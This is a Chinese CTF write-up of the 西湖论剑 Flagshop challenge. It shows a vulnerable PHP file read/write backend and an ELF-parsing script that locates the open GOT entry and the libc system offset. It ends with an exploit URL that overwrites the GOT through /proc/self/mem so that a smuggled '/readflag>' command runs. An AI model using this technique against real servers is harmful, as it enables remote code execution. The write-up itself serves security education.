本文首发于“合天智汇”公众号 作者:xiaoleung
title: 西湖论剑 Flagshop 分析复现
date: 2020-10-13 13:12:04
tags: CTF
PWN综合练习(三)
实验:PWN综合练习(三)(合天网安实验室)
CTF PWN进阶训练实战,基于两次缓冲区溢出来获取服务器控制权限。
backend.php
<?php
$offset=isset($_GET['offset']) ? $_GET['offset'] : 0;
$buffer=isset($_GET['buffer']) ? $_GET['buffer'] : "";
if (isset($_GET['writefile'])) {
$fp=fopen($_GET['writefile'], "a");
fseek($fp, $offset);
fwrite($fp, $buffer);
fclose($fp);
}
if (isset($_GET['readfile'])) {
echo file_get_contents($_GET['readfile']);
}
?>
index.php
<?php
if(!isset($_COOKIE['sandbox'])) {
$uuid=system("/var/www/html/copy");
setcookie("sandbox", $uuid);
header("Location: sandbox/".$uuid);
} else {
header("Location: sandbox/".$_COOKIE['sandbox']);
}
/proc/self/maps 包含了当前进程映射的内存区域以及他们的访问权限.文件格式如下:
address perms offset dev inode pathname 08048000-08056000 r-xp 00000000 03:0c 64593 /usr/sbin/gpm 08056000-08058000 rw-p 0000d000 03:0c 64593 /usr/sbin/gpm 08058000-0805b000 rwxp 00000000 00:00 0 40000000-40013000 r-xp 00000000 03:0c 4165 /lib/ld-2.2.4.so 40013000-40015000 rw-p 00012000 03:0c 4165 /lib/ld-2.2.4.so 4001f000-40135000 r-xp 00000000 03:0c 45494 /lib/libc-2.2.4.so 40135000-4013e000 rw-p 00115000 03:0c 45494 /lib/libc-2.2.4.so 4013e000-40142000 rw-p 00000000 00:00 0 bffff000-c0000000 rwxp 00000000 00:00 0
<?php echo dechex(0x7ffff5f40000+0x0000000000046590); //system函数结果:0x7ffff5f86590 ?>
在Linux2.2的内核及其之后,/proc/pid/exe是直接执行的二进制文件的符号链接.这个符号链接能够被取消.尝试打开这个文件就相当与打开了二进制文件,甚至可以通过重新输入/proc/pid/exe重新运行一个对应于pid的二进制文件.在一个多线程的程序中,如果主线程已经退出了,就无法访问这个符号链接. 在Linux2.0及其之前,/proc/pid/exe是指向当前进程执行的二进制文件.
<?php
function packlli($value) {
$higher=($value & 0xffffffff00000000) >> 32;
$lower=$value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela=false) {
$bin=file_get_contents($bin_ver);
$e_shoff=unp(substr($bin, 0x28, 8));
$e_shentsize=unp(substr($bin, 0x3a, 2));
$e_shnum=unp(substr($bin, 0x3c, 2));
$e_shstrndx=unp(substr($bin, 0x3e, 2));
for($i=0; $i < $e_shnum; $i +=1) {
$sh_type=unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type==11) { // SHT_DYNSYM
$dynsym_off=unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size=unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize=unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type==3) { // SHT_STRTAB
$strtab_off=unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size=unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type==4) { // SHT_RELA
$relaplt_off=unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$relaplt_size=unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize=unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}
if($rela) {
for($i=$relaplt_off; $i < $relaplt_off + $relaplt_size; $i +=$relaplt_entsize) {
$r_offset=unp(substr($bin, $i, 8));
$r_info=unp(substr($bin, $i + 8, 8)) >> 32;
$name_off=unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name='';
$j=$strtab_off + $name_off - 1;
while($bin[++$j] !="\0") {
$name .=$bin[$j];
}
if($name=='open') {
return $r_offset;
}
}
}
else {
for($i=$dynsym_off; $i < $dynsym_off + $dynsym_size; $i +=$dynsym_entsize) {
$name_off=unp(substr($bin, $i, 4));
$name='';
$j=$strtab_off + $name_off - 1;
while($bin[++$j] !="\0") {
$name .=$bin[$j];
}
if($name=='__libc_system') {
$system_offset=unp(substr($bin, $i + 8, 8));
}
if($name=='__open') {
$open_offset=unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
}
$open_php=parseelf('exe', true);
//$maps=file_get_contents('lib.txt');
//$pie_base=(hexdec(explode('-', $maps)[0]));
echo $open_php;
//结果:15333784
?>
/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。
backend.php?readfile=/readflag>/tmp/i_o_u_hlq&writefile=/proc/self/mem&buffer=%90%65%f8%f5%ff%7f&offset=15333784